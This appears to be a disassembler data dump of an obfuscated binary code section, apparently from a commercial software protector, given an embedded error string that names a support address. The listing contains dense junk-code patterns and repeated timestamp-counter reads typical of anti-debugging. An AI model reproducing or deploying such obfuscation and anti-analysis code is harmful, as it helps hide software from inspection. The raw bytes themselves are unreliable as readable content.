		dd 7E86000h, 6000000h, 0D01088FAh, 10E8C7C2h, 99000000h
		dd 0B4E1BDC6h, 115BB830h, 11242739h, 5AB6684Ch,	9EE0815Eh
		dd 617078E4h, 0F2AFB83h, 6185h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 576C929Ah
		dd 59D08060h, 0BD8D61FCh, 6216B6Eh, 0EE9h, 9F10200h, 708398B4h
		dd 0DE9D8078h, 0E9C4C9E7h, 42h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 29C35343h, 0FB83F867h, 0E6850F27h
		dd 60000002h, 8C0F60h, 0F000000h, 8Eh, 0B8666100h, 8D61C289h
		dd 216B76BDh, 0BD89F806h, 6216B86h, 10E960F9h, 0DD000000h
		dd 42176140h, 0ED86A146h, 6A558153h, 5676028Ch,	615F6160h
		dd 60C88C66h, 0E150B857h, 0F5E4D3Eh, 2461C1BFh,	1830F03h
		dd 0FC000000h, 0FC00AF5h, 21185h, 8160F500h, 0EA53DCE7h
		dd 7E92Bh, 34A60000h, 0F17A48Ch, 0B58D615Dh, 6217245h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8DC35343h
		dd 0AE9F9h, 0DE410000h,	8C545263h, 0A3E72844h, 734A858Bh
		dd 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 2373DBC3h, 0B713E238h, 60BC7679h,	85A9BB66h
		dd 0F561ABB6h, 0DE992h,	658F0000h, 48C6EAAEh, 31DCE0F4h
		dd 5033F409h, 52505250h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 5060310Fh, 6122B159h, 6A92585Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 61F4C357h, 0ACB84B83h, 0F8BF0F60h, 10F61F5h,	0FFE244Ch
		dd 0F8Ah, 0AE900h, 39210000h, 5DBF9B97h, 9C56ED9Bh, 56006A5Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 29AB0F55h, 5157EE23h, 5E9C6h, 0A670000h, 0E902C8DBh
		dd 11h,	9FD4193Bh, 5251CB2Bh, 0B7470ECAh, 0C47CAA1Dh, 24C2834Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BDC35646h
		dd 89664149h, 6AFC72h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F5D9DC3h, 1482h, 0AE96000h, 5F000000h
		dd 19C4E16Dh, 0C77E474Fh, 0F0B70F15h, 10CEC161h, 13E9h
		dd 0D064B000h, 0FE9E1BF6h, 0ADFA6DAEh, 99BD6EE7h, 4D62E3A0h
		dd 2728966h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	4BC35242h, 0CDC18A4Ch, 10E904h,	1BA50000h, 382D0F67h
		dd 15D3DFCh, 0D72894EDh, 97E9D729h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 5C18C357h, 0E0C6D21Fh, 3F1A81BEh, 858BF8F8h,	621734Ah
		dd 0EE9h, 0BA6E5A00h, 594F4BC8h, 2FAB4549h, 8DEA0DB5h
		dd 217245B5h, 858DF906h, 621416Bh, 5E9h, 40023E00h, 0D0FFE75Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 61C35545h
		dd 0BFD1EC22h, 0FEB15F3h, 158Ah, 0F890F00h, 0E9000000h
		dd 0Ah,	60A79EE2h, 0DFF07E86h, 85897E4Ch, 6216B7Eh, 8B6061F9h
		dd 38E0FF1h, 0F000000h,	8B61FBB7h, 216B7E85h, 0FE906h
		dd 21F10000h, 731CB4EDh, 3C6BEB92h, 7328C0ACh, 6AC3DEh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FAD3FC3h, 0C81h, 6890F00h, 0F000000h, 8Eh, 6A6000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B36098C3h, 0EF816613h, 8361D068h, 21734ABDh, 850F0006h
		dd 95h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 29C35646h, 0E99992A9h, 9, 0C93F053Dh, 0AD262B8Ch, 13880F1Bh
		dd 0E9000000h, 0Eh, 482400D2h, 92CA2E72h, 0B904F4BCh, 85C7A60Dh
		dd 621734Ah, 1013Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 99C35747h, 0FC60FB97h, 13E9h,	87143400h
		dd 67ED52F2h, 7610BEE1h, 21692195h, 0EB5E57F5h,	0F606061h
		dd 5F50D0B7h, 0DABF0F61h, 36E961h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 9C7738C3h
		dd 829ED717h, 0FE9h, 0B7503400h, 7072DACh, 647B8181h, 0A44FE0FDh
		dd 20CDh, 0C00B0000h, 708D3774h, 86BD8B0Ch, 0B906216Bh
		dd 8, 492275A6h, 488BFA75h, 829D8B30h, 3B06216Bh, 157F3458h
		dd 0D26BD38Bh, 8BCA0304h, 7E858901h, 0EB06216Bh, 0EB008B04h
		dd 858B61C5h, 6216B7Eh,	66F860CFh, 4B0EE081h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0B47740A3h, 7820Fh, 8C0F0000h, 1, 0AE9F8h, 0E4D20000h
		dd 0B145AFA4h, 40679661h, 13E8C08Bh, 36000000h,	0AB6A6A63h
		dd 0CF7CE3BAh, 7869F6BEh, 562233D3h, 0E960137Bh, 0Ch, 1B5E87B0h
		dd 0DC7FC3A6h, 0A1198EA6h, 6810Fh, 8D0F0000h, 0
		dd 0B70F5E61h, 5EC681CEh, 0E9000065h, 7, 9435CEA2h, 0B82A15F0h
		dd 0
		dd 34FF43B6h, 5E930h, 9DE80000h, 5B298EF6h, 14DDEB81h
		dd 0EF8165A8h, 469A59CFh, 9727F381h, 0BE94649h,	0D0000000h
		dd 0EA6AE328h, 469264FAh, 0EB8185F1h, 69AD86C8h, 5E9h
		dd 0DC76D900h, 1C89480Fh, 88E0F06h, 0F000000h, 28Ah, 81CA8A00h
		dd 9714CFE8h, 14E872h, 0A1970000h, 31A6A9A5h, 0A77BBAD3h
		dd 0C7C1FDB7h, 0EFD7BEBEh, 0D68B4D77h, 0CBC08159h, 66729714h
		dd 0A200D981h, 9B80F881h, 850FFFFFh, 0FFFFFF76h, 3870Fh
		dd 0D2800000h, 400E9B2h, 7DE00000h, 41330041h, 6E69206Eh
		dd 6E726574h, 65206C61h, 70656378h, 6E6F6974h, 63636F20h
		dd 64657275h, 64412820h, 73657264h, 30203A73h, 29782578h
		dd 6C500D0Ah, 65736165h, 6F63202Ch, 6361746Eh, 75732074h
		dd 726F7070h, 726F4074h, 736E6165h, 6D6F632Eh, 6854202Eh
		dd 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FEC0+140h
		dd offset dword_445750+0A8B0h
		dd 0
		dd 0E7E90000h, 60000011h, 27199D31h, 5852061Eh,	9D858B61h
		dd 6A061E1Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5478C353h, 0F59C6712h,	4244439h
		dd 79850Fh, 9D890000h, 61E14E5h, 7DBD83F8h, 61E08h, 65840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 6B90E0C3h, 0BEDF8160h, 0E90E4683h, 8, 5C4F285Ch
		dd 591D7424h, 0FA858D61h, 6A061E38h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 201C353h
		dd 75B58919h, 0FF061E29h, 39B589E0h, 8B061E22h,	1E145585h
		dd 14E906h, 4F010000h, 4B9B533Fh, 0A21FEC90h, 0DB95D0D9h
		dd 7782F18Dh, 44396B86h, 850F0424h, 40h, 68B0Fh, 85890000h
		dd 61E0429h, 78BE85C7h,	10621h,	0E8600000h, 10h, 0A1D7905Ch
		dd 82008065h, 4D9AA630h, 0F37AE022h, 810Fh, 0F590000h
		dd 681h, 0B1858900h, 61061E26h,	51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 5E3DAF0Ch
		dd 1CE9h, 8F0FF800h, 11h, 0CE9h, 0AD99E000h, 0E27565C4h
		dd 157FD26Eh, 0DFh, 1B800h, 85870000h, 6217A21h, 0F675C00Bh
		dd 2041B5FFh, 858F061Eh, 62178B6h, 0FF6A206Ah, 327195FFh
		dd 0BD83061Eh, 61E25A9h, 6A087400h, 0C195FF00h,	83061E26h
		dd 1E18D1BDh, 0D740106h, 8068h,	0FFFF6A00h, 1E327195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD29C871h, 61E0955h, 0F2816660h, 9589421Ah
		dd 61E22D1h, 89C02B61h,	1E02D9B5h, 24548B06h, 6830F28h
		dd 89000000h, 1E162995h, 65858906h, 0F9061E00h,	3CBEh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 7403F8A1h, 6A2424h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 1E8C86C3h, 0FF17549Bh
		dd 178D0FF8h, 60000000h, 276DB529h, 0AE9061Eh, 0F2000000h
		dd 4DF79888h, 0BDD876BDh, 95896153h, 61E214Dh, 0BD89AD66h
		dd 61E1249h, 9830Fh, 60600000h,	0E1816661h, 36184E4h, 6A242444h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 27D1C352h, 10E9908Ch, 46000000h, 0FA243A58h
		dd 83FF791Eh, 2D04A8C9h, 5017730Fh, 52505250h, 0CE9h, 94272900h
		dd 0EE6416BAh, 5C042912h, 0F310F4Bh, 8Fh, 0F585A00h, 60525031h
		dd 60310F61h, 5A585A61h, 9D319058h, 61E32BDh, 8978408Bh
		dd 1E20B1BDh, 0BEBD8306h, 62178h, 0E7850Fh, 10E90000h
		dd 9F000000h, 99314C08h, 0E877A46Ch, 0AFB9460Ah, 0F874D5C0h
		dd 60525090h, 0AB34BBAh, 13E919h, 0A0910000h, 0E7BC936Bh
		dd 45750647h, 3011B0Fh,	3E0E63FAh, 310F61D0h, 0AE9h, 2D21B100h
		dd 0FADAF46Ah, 5A6DAAF4h, 8B0F5058h, 0Ch, 6850Fh, 52500000h
		dd 585A310Fh, 448BF890h, 0BD092C24h, 61E0031h, 7850F50h
		dd 60000000h, 8B666160h, 48961CEh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9AE31806h
		dd 8BCA91D8h, 0BA666029h, 8D612B4Dh, 213BFD85h,	0F18B6006h
		dd 26B19589h, 0FF61061Eh, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 83BA4B15h
		dd 37C2E05Ah, 7E9F5h, 880C0000h, 0FF037462h, 2444032Dh
		dd 408BF528h, 0EE9F918h, 2B000000h, 1E3DEF5Dh, 7FA9ECDAh
		dd 62A4F9A2h, 6A4038h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0AF4668C3h, 0E9F97017h, 10h, 8EB447C5h
		dd 69908EFFh, 895F7102h, 988D6074h, 78BA8589h, 58F50621h
		dd 18A0Fh, 8BFC0000h, 83F97870h, 820F1CC6h, 9, 858BF560h
		dd 61E1241h, 6A9661h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 3F598DC3h, 0BE9FDh, 0A1A40000h
		dd 0F15BD874h, 0E39F1C80h, 247C8193h, 24h, 15870F10h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C8DEC352h, 0FF2F158Fh, 7E9B9h, 0E2AB0000h
		dd 3FB6E514h, 52505070h, 52505250h, 585A310Fh, 5250310Fh
		dd 585A310Fh, 310F585Ah, 188B0Fh, 13E90000h, 4C000000h
		dd 0BA17698Fh, 2C1F16B7h, 0AC22A18Ah, 5287B46Eh, 585A8D90h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4FA7C350h, 0BD897A85h,	61E1999h
		dd 6810Fh, 9D890000h, 61E1B41h,	2824448Bh, 21F18D31h, 5050061Eh
		dd 60525052h, 50310F61h, 5A310F52h, 0F585A58h, 6E931h
		dd 0C2190000h, 57295776h, 489585Ah, 0C830F24h, 0F000000h
		dd 68Fh, 800F00h, 8D000000h, 213BFD85h,	51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 801E03C5h, 9217B1C3h, 5660A4A7h, 160DBD89h, 615E061Eh
		dd 0B509D0FFh, 61E2ED1h, 50006A96h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 9A4050C7h, 8C0F9467h
		dd 6, 0E59BD89h, 0E960061Eh, 5,	102FA0F5h, 0F1B58BD1h
		dd 61061E21h, 24247403h, 2FD9BD31h, 0BD8D061Eh,	61E098Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 6EC35141h
		dd 14A3A12Dh, 0E9A90464h, 9, 901C2337h,	0C6A86B17h, 6AAD9Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 81FEF7C3h, 24247Ch, 0F100000h, 15287h, 6E900h, 79010000h
		dd 0B634C0C8h, 0F525050h, 689h,	0F525000h, 0F585A31h, 50525031h
		dd 5A310F52h, 0F310F58h, 82h, 5A585A00h, 24048958h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h, 0C85B589h
		dd 880F061Eh, 19h, 14E9h, 1A6BD900h, 80847BE1h,	78727A29h
		dd 73B93292h, 59E2CE99h, 24448BA6h, 57006A28h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 3E8620B8h
		dd 27698D89h, 160061Eh,	1E1BE99Dh, 8E906h, 68F10000h, 0BC7C42E5h
		dd 9061F63Eh, 148D0Fh, 0FE90000h, 7B000000h, 8D0408C7h
		dd 8DAC97F4h, 782ED02Ch, 605054DEh, 0CB05BB66h,	61CA8B66h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 650D3E75h, 4850DF24h, 3BFD858Dh,	6A0621h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 9DDE13C3h, 41EDDCDCh, 0FFB45F06h, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 2C32F777h
		dd 15E3498Fh, 2D9D09F9h, 3061E2Fh, 6A242444h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 7002C352h, 29483341h, 1E2EF98Dh, 1858906h, 0AB061E32h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 4DC35747h, 0F9AAC813h, 0F50C2E5Ch, 13E18D09h, 0FA81061Eh
		dd 10000h, 7F6820Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8589DAC3h, 61E0DE1h
		dd 12E9h, 561B6E00h, 1CEF3682h,	7FF0DEBCh, 7F00B3E3h, 8DBD0773h
		dd 1E2BA1BDh, 0FD8D8906h, 0AD061E2Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 18C35545h, 8F57AC81h, 2E018D29h
		dd 7C81061Eh, 2424h, 870F1000h,	105h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 22C35141h, 8509FC7Eh, 61E1471h
		dd 8800F50h, 60000000h,	0A35BBB66h, 89615851h, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 6CF055C3h, 448BF9ADh, 6A2824h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 4BA5DBC3h, 0A8614B2Ah
		dd 8942C56Ch, 1E2EB1B5h, 0B5953106h, 50061E09h,	9E95250h
		dd 0AB000000h, 78596C3Ch, 908F9DA3h, 8E9310Fh, 0E9000000h
		dd 7047C17Dh, 5AF221DCh, 24048958h, 0A860Fh, 89600000h
		dd 1E2F5185h, 61F08A06h, 3BFD858Dh, 6A0621h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A9D51FC3h
		dd 17FB6C76h, 68E0F2Ch,	89000000h, 1E1CB185h, 0E9D0FF06h
		dd 9, 0C59713C2h, 53B79DDBh, 244403D3h,	0BE924h, 2BF20000h
		dd 0D8F4E05Ch, 3103A6DBh, 8E99066h, 92000000h, 0D5BB694Bh
		dd 50700EBDh, 66DE8B60h, 61A675B9h, 0C840F90h, 60000000h
		dd 5FEDBA66h, 0E2F9F681h, 0AB61034Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0B7C35343h,	0EA998701h, 17800F77h
		dd 0E9000000h, 12h, 0F9C85894h,	58779422h, 14963CD5h, 0FE0E2389h
		dd 0BD8D6B9Eh, 61E1D05h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 40C35242h, 8D895E86h,	61E0599h, 6800Fh
		dd 85310000h, 61E1431h,	6830FADh, 9000000h, 1E328D8Dh
		dd 247C8106h, 28h, 5870F10h, 0F5000001h, 0C870F50h, 0F000000h
		dd 68Eh, 0F525000h, 89585A31h, 6A2404h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 7790BCC3h
		dd 2C24448Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	51C35141h, 0E990F5EEh, 9, 0A5F3CFE7h, 0E405E013h
		dd 53605081h, 5E9h, 0E22CB700h,	565ACC3Fh, 6A90615Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0CE07C353h, 0BD896040h, 61E0289h, 61F08B66h,	3BFD858Dh
		dd 6A0621h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 90DF64C3h, 4F942D0h, 9E9602Ch, 1D000000h
		dd 20060809h, 583C9784h, 68A0Fh, 0BD890000h, 61E1B89h
		dd 60D0FF61h, 18CDB531h, 0E951061Eh, 0Eh, 0E161A257h, 0A9F44F30h
		dd 0C8B3FB7h, 615FE323h, 28244403h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C0C35242h,	0F78D595Bh, 6AABA8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 864EE2C3h, 0FF5EFCCCh, 2178BA8Dh, 0BABD8306h, 62178h
		dd 0C0330A75h, 8834B58Dh, 0E6FF0621h, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 6213BFDh, 4403D0FFh
		dd 8B972824h, 0B6858ADFh, 84062178h, 3A0474C0h,	574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 1E006585h, 0FF5DE906h, 6A5EFFFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4F6AC350h
		dd 0EDA4720Eh, 0E9846C79h, 10h,	905E7ACDh, 92983D99h, 8EA4E512h
		dd 0A5B5B76Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	42C35747h, 0B4D4404Ah, 987D16E5h, 6E9D2h, 60420000h
		dd 0F9810F8Bh, 9E9h, 4E117600h,	0E2CD433Bh, 858B0AD6h
		dd 61E0065h, 6AE0D1FCh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 4FCBC351h, 29119509h
		dd 8E0F061Eh, 1, 58503F5h, 89061E1Dh, 1E21CD95h, 0BE06h
		dd 12E90000h, 46000000h, 6506B7AAh, 72B1646Fh, 7EFBF5BDh
		dd 0CE23313h, 0B5899668h, 61E0D7Dh, 6AAD66h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0A193DEC3h
		dd 2634EC9h, 0C16111B3h, 2B6002E0h, 1E0CED95h, 61D18B06h
		dd 9E9h, 4C82C400h, 77A7BBB3h, 85036715h, 61E098Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 22C35141h, 0F040FE8h
		dd 180h, 0B860F800h, 669571EAh,	0EE9h, 0FA071A00h, 1E1CF19Fh
		dd 703D816Bh, 614EC1D2h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 1AB60636h, 4AD4EE4Eh
		dd 0B5310722h, 61E338Dh, 895060ADh, 1E1D2195h, 858B5A06h
		dd 61E2D05h, 11E96061h,	50000000h, 5EC271AFh, 0EC553BE8h
		dd 670B1B2h, 1CCDADD8h,	870Fh, 81610000h, 24247Ch, 0F100000h
		dd 13087h, 2360F900h, 1E2999B5h, 8E906h, 0D3880000h, 528BE543h
		dd 90617EACh, 0DF8B6660h, 5E616053h, 830F5061h,	15h, 10E9h
		dd 1EF75300h, 0C4B9ADECh, 11166131h, 219D75EEh,	806090E1h
		dd 0F2803BDFh, 448B611Eh, 6A2824h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 19F89DC3h, 11E9FCh, 0B0F30000h
		dd 25875D13h, 0ACF9DA0Dh, 4662B2EFh, 903AA941h,	12E9h
		dd 2E214000h, 313E517Fh, 103329DBh, 0DBD7CA15h,	50E07A47h
		dd 8860Fh, 8C0F0000h, 2, 6A906160h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 72A3C353h
		dd 8E96DE7h, 0FC000000h, 0AA54B0DEh, 8DF9E3CDh,	213BFD85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 7795630h, 1189893h, 1E09E58Dh, 68B0F06h
		dd 89000000h, 1E2FD18Dh, 6AD0FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 3B6CC352h
		dd 0D3491FD9h, 244403B2h, 66F86024h, 616B32B8h,	0FE9h
		dd 0B29CE400h, 0B4787401h, 65E55DB9h, 12DA9C4Ch, 1C244489h
		dd 2CC19D29h, 85C6061Eh, 61E2041h, 2185C700h, 6217Ah, 0C7000000h
		dd 2178BE85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 601E63CAh, 0A6878897h
		dd 0DE9h, 94F39000h, 4D2DC2C6h,	0F55CCE6Bh, 0EE96F24h
		dd 30000000h, 28F55897h, 0AC05D86Eh, 0C4B4955Bh, 0C2FC61C2h
		dd 6A0008h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h
		dd 0D826DCC3h, 48E619CDh, 6E994h, 8AF0000h, 7A61EDFCh
		dd 98D858Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0B91486C3h, 0A510A3FDh, 6A4AF5h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1303A8C3h, 0B5898526h, 61E1FB1h, 0F804D26Bh,	8D0FC203h
		dd 6, 0F059589h, 6A96061Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F49AC355h,	0D7A3AA0Ah
		dd 0CE4CCFFAh, 68A0FF5h, 1000000h, 1E1FE98Dh, 89ADF906h
		dd 1E299D9Dh, 247C8106h, 24h, 0A870F10h, 89000001h, 1E201595h
		dd 6E99006h, 3A000000h,	57E075D3h, 8A0F5063h, 0Ch, 6830Fh
		dd 800F0000h, 0
		dd 0FE990h, 65170000h, 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh
		dd 24448BCAh, 14E928h, 90120000h, 0B65A61CDh, 720C0CC6h
		dd 3A99378Ah, 343C93EBh, 8A60DDD2h, 69B529E7h, 61061E1Dh
		dd 11E950h, 7660000h, 7CE55A36h, 8B9500E9h, 0FF747E22h
		dd 8914A014h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0FD7FAAC3h, 373079D9h, 3BFD858Dh
		dd 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 60C871C3h, 0E9F7B70Fh, 7,	861F7020h, 6118AE43h
		dd 0DFD9529h, 0D0FF061Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0F4C35343h, 0F1E34551h, 4F6A1698h, 7E90Eh
		dd 67A80000h, 9B6072F2h, 0FD87E986h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7A5A9DC3h
		dd 858DE785h, 6218DFEh,	0EF816660h, 8D8B50A3h, 61E1229h
		dd 52505061h, 0F525060h, 50585A31h, 5A310F52h, 310F6158h
		dd 6E9h, 0E02F3000h, 5A6B8341h,	24048958h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 24C35343h, 88DE0443h
		dd 0F838B14h, 187h, 0B589F500h,	61E2741h, 35FF64h, 60000000h
		dd 0D61858Bh, 0BF66061Eh, 0F6154C2h, 98Eh, 0D8816000h
		dd 35565DAFh, 48B61F5h,	0C9853124h, 89061E2Bh, 1E197185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0E8E12989h, 258964C4h, 0
		dd 0B840Fh, 0F600000h, 8531F0BFh, 61E0E05h, 7E961h, 62F40000h
		dd 7F9B57A8h, 0ED858DA4h, 6A06218Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E456C350h
		dd 0F258501h, 6089061Eh, 70E9F801h, 6A000002h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 40EDC350h, 0B5F87951h, 8BF897E0h, 0E8DBh, 815D0000h
		dd 218BE6EDh, 0FF9CBC06h, 0BD830012h, 61E18D1h,	8B187400h
		dd 1E0E2D85h, 0C606h, 1385858Bh, 0C6061Eh, 7595FF00h, 60061E13h
		dd 74C2B5FFh, 858D0621h, 62174C6h, 0BE858D50h, 50062176h
		dd 2BB995FFh, 0C483061Eh, 860F610Ch, 6,	2698589h, 6A061Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C3E248C3h, 9D2FE3DBh, 0F8F970A3h, 76BEB58Dh, 6A0621h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8D7050C3h, 1E23A5BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 3E80F58Fh, 5D840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0CBAC351h, 0FEE9CA0h, 18Fh, 1A4F800h
		dd 1E2B9995h, 29950906h, 0E9061E0Eh, 0FFFFFFBEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B1C35747h, 0DF793EC9h
		dd 0F996D75Fh, 6AC02Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 15D8DEC3h, 31321AC2h, 0B589C987h
		dd 61E1731h, 0E890Fh, 9E90000h,	8F000000h, 1D95DA31h, 24036B30h
		dd 51006AAAh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0DDCFCC9h, 0BD0137ABh, 61E00D1h,	7B8h, 0D38A6000h
		dd 61DBB70Fh, 29C585C7h, 1061Eh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0E7FB9CC3h
		dd 0E1A35C5Ch, 0B88D8D22h, 6A061E4Ch, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 827AC352h
		dd 0B8281FF2h, 6AE1FFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 204663C3h, 27358D09h, 5C8B061Eh
		dd 0E8550C24h, 0
		dd 8ED815Dh, 8B06218Eh,	0B883h,	0C2858900h, 8D062174h
		dd 218BDF85h, 0B8838906h, 5D000000h, 6AC3C033h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 6D7FC355h, 89559D01h, 1E0A11BDh, 0E9958906h,	60061E21h
		dd 11E9h, 88B34B00h, 0D85EB253h, 5269395h, 79D6BEAh, 858D8C37h
